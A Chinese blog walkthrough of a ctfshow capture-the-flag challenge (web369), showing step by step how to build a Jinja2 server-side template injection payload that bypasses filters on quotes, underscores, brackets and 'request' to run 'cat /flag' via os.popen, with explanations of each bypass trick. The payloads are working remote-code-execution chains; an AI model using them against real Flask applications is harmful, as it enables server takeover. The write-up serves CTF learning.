SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过（ctfshow web入门369）

已于 2023-03-30 16:03:41 修改
阅读量1.7k 收藏 9
点赞数 5
分类专栏： CTFShow SSTI模板注入 文章标签： 网络安全 安全 web安全
于 2023-03-30 11:33:14 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_52635170/article/details/129850863
版权

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过（ctfshow web入门369）

写在前面

由于request被过滤，我们就不能再使用传参的方式进行传递命令以及被过滤的关键字，下划线中括号花括号都被过滤，这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。

实例引入

本章内容，咱们就先研究怎么做出ctfshow web入门369这道题目，然后再讲解绕过的原理。

判断是否存在SSTI模板注入漏洞

由于双花括号被过滤，我们只能使用{%%}来判断，我们传入参数?name={%print 123%}，来观察页面是否回显123，如果回显123即存在SSTI模板注入漏洞。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print 123%}

在这里插入图片描述
页面回显123，存在SSTI模板注入漏洞。

拼接payload

我们先确定我们使用哪一个payload去打它，我们就以:

{%print ((lipsum)|attr("__globals__")).get("os").popen("cat /flag").read()%}

我们分析一下：
引号、下划线被过滤，我们不能直接使用" attr(“__globals__”) "，并且request被过滤，不能通过传参，我们就只能通过拼接字符串的方式获取，并且后面的get方法、popen方法、os模块、shell命令都要采取拼接完成。

获取__globals__
获取globals字符串
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set globals=dict(globals=a)|join%}
{%print globals%}

在这里插入图片描述

获取下划线

我们获得了globals字符串，还需要下划线来拼接，那么下划线如何获取呢？
我们就通过lipsum|string|list中获取。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string|list%}

在这里插入图片描述

获取pop方法

我们知道从哪里获取下划线之后，但是要考虑如何使用索引值来获取，这时我们就想到了pop()方法。pop()方法可以通过传入列表元素的索引值将列表中的该元素删除并返回该元素的值。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%print pop%}

在这里插入图片描述
这样的话我们就可以获取到下划线了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%print xiahuaxian%}

在这里插入图片描述
获取下划线之后也就自然能获得__globals__。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=dict(globals=a)|join%}
{%print (xiahuaxian,xiahuaxian,globals,xiahuaxian,xiahuaxian)|join%}

在这里插入图片描述

获取os模块
获取os字符串

先获取到os字符。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set shell=dict(o=a,s=b)|join%}
{%print shell%}

在这里插入图片描述

获取get()方法

获取get，以便我们使用get()获取到os模块。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set get=dict(get=a)|join%}
{%print get%}

在这里插入图片描述

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}

在这里插入图片描述

获取popen方法

还是先获取popen字符串。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set popen=dict(popen=a)|join%}
{%print popen%}

在这里插入图片描述
获取popen方法

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}

在这里插入图片描述

执行shell命令

拼接shell命令我们需要使用chr函数，因为chr不是flask的函数，所以我们必须自己获取。

获取chr函数

我们使用：

(lipsum|attr("__globals__"))|attr("__builtins__")|attr(get)(chr)

来获取。
但是我们没有__builtins__，也需要我们自己拼接获取。

获取__builtins__
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

在这里插入图片描述
这样就可以获取chr函数了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%print char%}

在这里插入图片描述

拼接shell命令

我们已经获取到了chr函数，就可以使用它来拼接我们的shell命令了。
我们以"cat /flag"命令为例。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%print command%}

在这里插入图片描述

执行命令

接下来我们就可以执行我们拼接好的shell命令了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)%}
{%print result%}

在这里插入图片描述
我们发现竟然显示了个这么个东西，这显然不是我们的flag呀！
这是什么情况呢？因为popen()方法执行的返回结果是一个file对象，我们需要在使用read()函数进行读取。

再创建read()方法吧。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set read=dict(read=a)|join%}
{%print read%}

在这里插入图片描述
有read，我们就可以直接读取执行命令的返回结果了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}

在这里插入图片描述
成功获取到flag！

完整payload介绍

?name=
 获取pop字段以便使用pop函数
{%set pop=dict(po=a,p=b)|join%} 
 获取下划线，以便拼接__globals__和__builtins__
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
 获取__globals__
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
 获取get字段，以便使用get函数
{%set get=dict(get=a)|join%}
 获取os字段，以便获取os模块
{%set shell=dict(o=a,s=b)|join%}
 获取popen字段，以便使用popen函数
{%set popen=dict(popen=a)|join%}
 获取__builtins__以便获取chr函数
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
 获取chr字段，以便获取chr函数
{%set ch=dict(ch=a,r=b)|join%}
 获取chr函数，以便拼接shell命令
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
 拼接shell命令，以便获取flag
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
 获取read字段，以便使用read函数读取命令执行的结果
{%set read=dict(read=a)|join%}
 将命令执行结果存放在result中
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
 输出命令执行结果
{%print result%}

绕过原理

绕过过程中，我们会用到许多的知识，有的小伙伴可能不太理解，这里进行简单介绍：

lipsum|attr()

lipsum是flask的一个方法，lipsum|attr(“__globals__”) 就相当于 lipsum.__globals__。

()|join

()|join方法，可以将小括号里的内容进行拼接起来。例如：(1,2,3)|join 就可以打印出123。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print (1,2,3)|join%}

在这里插入图片描述

dict()|join

毫无疑问，dict就是一个字段，而dict()|join，就是将该字典的key值进行拼接，例如：dict(a=1,b=2)|join 的输出结果就是ab

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print dict(a=1,b=2)|join%}

在这里插入图片描述

lipsum|string|list

上边已经说过，lipsum是flask的一个方法，lipsum|string就是一串介绍lipsum的字符串。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string%}

在这里插入图片描述
而lipsum|string|list就是将lipsum|string生成的字符串以列表的形式进行展示，这样该字符串的每个字符都是该列表的元素，我们就可以使用索引值来获取该列表我们需要的字符了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string|list%}

在这里插入图片描述

你们de4月天
关注
  • 5
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
ssti-payloads::bullseye:服务器端模板注入有效负载
04-13
服务器端模板注入有效负载 服务器端模板注入是指攻击者能够使用本机模板语法将恶意有效载荷注入模板中，然后在服务器端执行该模板。 模板引擎旨在通过将固定模板与易失性数据结合来生成网页。 当用户输入直接连接到模板中而不是作为数据传递时，可能会发生服务器端模板注入攻击。 这使攻击者可以注入任意模板指令以操纵模板引擎，从而经常使攻击者能够完全控制服务器。 顾名思义，服务器端模板注入有效负载是在服务器端交付和评估的，这可能使它们比典型的客户端模板注入更加危险。 影响 ： 服务器端模板注入漏洞可能使网站遭受各种攻击，具体取决于所讨论的模板引擎以及应用程序使用它的方式。 在某些罕见情况下，这些漏洞不会带来真正的安全风险。 但是，在大多数情况下，服务器端模板注入的影响可能是灾难性的。 在规模最大的一端，攻击者可以潜在地实现远程代码执行，完全控制后端服务器，并使用它对内部基础结构执行其他攻击。 即使
Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
11-30
2015年黑帽大会上 James Kettle 讲解了《Server-Side Template Injection: RCE for the modern webapp》，从服务端模板注入的形成到检测,再到验证和利用都进行了详细的介绍，本资源为原文。
Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全
Jay17的博客
08-10 1259
Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全
ctfshow-＞web入门-＞ssti的前八题
最新发布
2301_80481202的博客
03-16 635
ssti介绍：SSTI（Server-Side Template Injection）是一种Web应用程序安全漏洞，它允许攻击者在服务器端的模板引擎中注入恶意代码。这种漏洞通常发生在使用模板引擎来动态生成Web页面内容的应用程序中。攻击者可以通过在用户输入中注入恶意模板代码，利用模板引擎的执行能力来执行任意代码，包括读取敏感数据、执行系统命令等。SSTI漏洞可能导致严重的安全问题，如信息泄露、服务器拒绝服务（DoS）攻击或远程代码执行。
SSTI模板注入-中括号、args、下划线、单双引号被过滤绕过（ctfshow web入门366）
T1ngSh0w的博客
03-29 723
SSTI模板注入漏洞，ctfshow web入门366 单引号被过滤，双引号被过滤，args被过滤，中括号被过滤、下划线被过滤
关于SSTI模块注入的常见绕过方法
Welcome To Myon'Blog !
07-05 991
1、过滤了中括号 2、过滤了双下划线 3、过滤了单下划线 4、过滤了点 5、过滤了大括号 6、过滤了引号 7、过滤了数字
SSTI 绕过方法总结
ZQING
09-06 527
学习绕过的重点是掌握一个技术的使用方法。
ctfshow-web369(SSTI)
m0_62094846的博客
05-06 454
过滤了request，之前的方法都不能用了，直接用终极代码 ?name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|joi..
SSTI模板注入-中括号、args、下划线、单双引号、双大括号被过滤绕过（ctfshow web入门368）
T1ngSh0w的博客
03-29 919
SSTI模板注入漏洞 中括号、args、下划线、单双引号、双大括号被过滤 ctfshow web入门368
SSTI模板注入-args、单双引号被过滤绕过（ctfshow web入门364）
T1ngSh0w的博客
03-18 221
当单双引号被过滤时，我们使用()或者[]来获得我们所需要的类，并且我们是尝试使用传参的方式将我们的shell命令传进去执行，但是当args也被过滤的时候，我们就不能使用request.args.参数名 来进行传参了。我这里的绕过方法有两种，一种是我们获得chr()这个python的内置函数，chr(ascii值)函数接收一个字符的ascii码值然后将该ascii码值所对应的字符返回，这时我们就可以使用chr(ascii值)得到我们想要的字符，然后将其进行拼接成我们想要的字符串或者shell命令。
CTFSHOW SSTI web369-web372 拼接绕过
Je3Z的博客
03-28 897
知识点： ()|select|string 结果如下 <generator object select_or_reject at 0x0000022717FF33C0> (()|select|string)[24]~ (()|select|string)[24]~ (()|select|string)[15]~ (()|select|string)[20]~ (()|select|string)[6]~ (()|select|string)[18]~ (()|select|string)[18
SSTI模板注入-中括号、args、单双引号被过滤绕过（ctfshow web入门365）
T1ngSh0w的博客
03-28 1592
SSTI模板注入漏洞——中括号、单双引号、args被过滤。 ctfshow web入门365
gentlexue#POC-3#Apache OfBiz 服务器端模板注入（SSTI）1
07-25
Apache OfBiz 服务器端模板注入（SSTI）Apache OfBiz 17.12.01容易受到服务器端模板注入（SSTI）的影响，从而导致远程代码执行
ssti-payload：SSTI有效载荷生成器
02-06
SSTI有效载荷发生器 该生成器是针对特定类型的Java SSTI的，其受以下启发： ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)....
SSTI漏洞学习（下）——Flask_Jinja模板引擎的相关绕过 .pdf
09-05
SSTI漏洞学习（下）——Flask_Jinja模板引擎的相关绕过 安全人才 威胁情报 安全建设 安全开发 解决方案
SSTI服务器模板注入原理&攻击手法&绕过手法&防御手段
qq_56815564的博客
07-31 564
时间一晃，又是好久没有发过文章了，最近再准备面试了，当你真正去准备的时候你才会发现自己原来什么都还只是个半吊子，哎难顶正好看到一道面试题，说是说一下python有关的漏洞，这边因为对php的漏洞熟悉一点，所以这方面我发现我是真的什么都不知道，于是上网去找了很久，再学习的过程中顺便总结了这篇文章吧🙏。
SSTI模板注入详细总结及WAF绕过
2301_76690905的博客
11-15 1591
模板引擎是用于Web开发的工具，其作用是将用户界面和业务数据分离。通过模板引擎，我们可以根据特定的格式要求生成文档。使用模板引擎，我们只需要提供用户数据，然后将数据传递给渲染函数，模板引擎会根据提供的数据生成对应的前端HTML页面，最终呈现在用户的浏览器中。
【SSTI模块注入】SSTI+Flask+Python（下）：绕过过滤
07-25 2518
【SSTI】绕过过滤
[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过
qq_64201116的博客
07-04 2149
我目前了解的后端的三大语言，基于php，基于java，基于python，这篇文章就来浅浅谈谈关于python构造的flask过滤SSTI不严谨导致的SSTI注入
ssti模板注入payload
09-26
SSTI（服务器端模板注入）是指攻击者能够将恶意有效载荷注入到服务器端模板中，然后在服务器端执行该模板。攻击者利用模板引擎生成前端的HTML代码，通过将用户的数据放到渲染函数中来生成模板，最终将生成的HTML页面返回给浏览器。在SSTI攻击中，恶意注入的有效载荷可以是任意的模板代码，其目的是执行非法操作或者获取敏感信息。 关于SSTI模板注入的payload，这取决于模板引擎的类型和具体的注入点。不同的模板引擎可能具有不同的语法和功能，因此payload的编写也会有所差异。一般来说，payload可以包括以下内容： 1. 利用模板语法执行系统命令，例如使用`${{7*7}}`来执行简单的算术运算。 2. 通过访问对象的属性和方法来获取敏感信息，例如`{{config.items()}}`来获取应用程序的配置信息。 3. 利用模板语法实现循环、条件语句等控制流程，例如使用`{% for i in range(10) %}...{% endfor %}`来进行循环操作。 4. 调用模板引擎提供的特殊函数和过滤器，例如使用`{{7|safe}}`来禁用自动转义，或者使用`{{user.name|escape}}`来对用户输入进行转义。 请注意，在实际应用中进行SSTI攻击是非法的行为，我强烈建议您不要尝试。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值